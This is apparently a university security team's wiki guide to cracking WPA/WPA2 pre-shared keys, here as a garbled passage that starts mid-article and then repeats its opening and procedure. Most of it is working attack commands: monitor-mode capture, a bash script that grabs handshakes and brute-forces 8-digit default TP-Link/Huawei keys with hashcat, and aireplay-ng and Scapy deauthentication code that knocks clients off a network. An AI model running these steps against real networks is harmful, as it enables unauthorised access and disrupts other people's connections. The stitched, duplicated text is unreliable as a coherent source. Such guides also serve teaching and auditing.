# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode

airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device

airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplican

* Start in monitor mode

airmon-ng start wlan0mon 9

=== Capture Beacon ===

* using wireshark or airodump-ng

airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

airmon-ng stop wlan0mon

* Restart network manager for internet access

service network-manager restart

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:18:16Z

RSchuller: /* GNU/Linux */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
* Install aircrack-ng suite:
Debian based distributions: <code>sudo apt install aircrack-ng</code>
Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

